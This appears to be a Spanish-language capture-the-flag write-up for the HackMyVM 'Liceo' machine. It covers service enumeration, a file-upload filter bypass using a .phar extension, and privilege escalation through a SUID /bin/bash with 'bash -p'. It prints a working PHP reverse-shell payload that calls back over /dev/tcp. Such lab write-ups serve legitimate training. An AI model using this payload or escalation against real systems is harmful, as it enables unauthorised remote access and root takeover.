cd ~/blog

~/writeups/hmv/051-liceo.md

051 - Liceo

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Unrestricted File Upload RCESUID Binary Abuse
hackmyvm.eu/machines/machine.php?vm=Liceo

~2 min de lectura


Enumeración de servicios

El escaneo identifica FTP, SSH y HTTP. FTP permite acceso anónimo y expone note.txt, por lo que lo revisamos antes de atacar los servicios que requieren credenciales:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.12
❯ nmap -sCV -p21,22,80 -oN 02-targeted.txt 192.168.1.12
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-22 14:23 -03
Nmap scan report for 192.168.1.12
Host is up (0.00031s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-rw-r--    1 1000     1000          191 Feb 01 14:29 note.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.1.10
|      Logged in as ftp
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 68:4c:42:8d:10:2c:61:56:7b:26:c4:78:96:6d:28:15 (ECDSA)
|_  256 7e:1a:29:d8:9b:91:44:bd:66:ff:6a:f3:2b:c7:35:65 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Liceo
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.78 seconds

Enumeración de FTP y HTTP

La nota menciona trabajo pendiente en la web y el nombre Matias, pero no contiene credenciales:

❯ cat note.txt
Hi Matias, I have left on the web the continuations of today's work,
would you mind contiuing in your turn and make sure that the web will be secure?
Above all, we dont't want intruders...

Enumeramos rutas y extensiones comunes en el servidor HTTP. Los resultados muestran un formulario upload.php y un directorio navegable /uploads:

❯ gobuster dir -u 'http://192.168.1.12' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,gif,png -r
...
/index.html           (Status: 200) [Size: 21487]
/images               (Status: 200) [Size: 6715]
/uploads              (Status: 200) [Size: 743]
/upload.php           (Status: 200) [Size: 371]
/css                  (Status: 200) [Size: 1746]
/js                   (Status: 200) [Size: 1347]
...

Unrestricted File Upload RCE

El formulario presenta un Unrestricted File Upload RCE: rechaza la extensión .php, pero acepta el mismo contenido al renombrarlo como .phar. En este objetivo Apache también entrega los archivos .phar al intérprete de PHP. La explotación requiere, por tanto, tres condiciones que aquí coinciden: una extensión alternativa aceptada, almacenamiento en un directorio público y un handler que interpreta el archivo como código. La carga original conecta al puerto 1234 de nuestra máquina:

<?php
    shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.10/1234 0>&1'");
?>

Guardamos el archivo como reverse.phar, lo subimos y dejamos el listener preparado:

❯ ncat -nlvp 1234

Localizamos el archivo en http://192.168.1.12/uploads/ y lo solicitamos desde el navegador. La conexión resultante pertenece a www-data y permite recuperar la primera flag. Las notas originales no conservan la salida de esa conexión, por lo que no añadimos una transcripción reconstruida.

Enumeración local

Al revisar permisos especiales observamos que /bin/bash pertenece a root y tiene los bits SUID y SGID activos (s en las posiciones de ejecución):

bash-5.1$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1396520 Jan  6  2022 /bin/bash

SUID Binary Abuse

La configuración constituye un SUID Binary Abuse. Al ejecutar un binario SUID, el proceso hereda el UID efectivo del propietario del archivo, que en este caso es root. Bash suele descartar privilegios heredados por seguridad, pero la opción -p activa el modo privilegiado y conserva ese UID efectivo:

bash-5.1$ bash -p
whoami
root

whoami confirma la escalada. Recuperamos la flag final y damos por completada la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados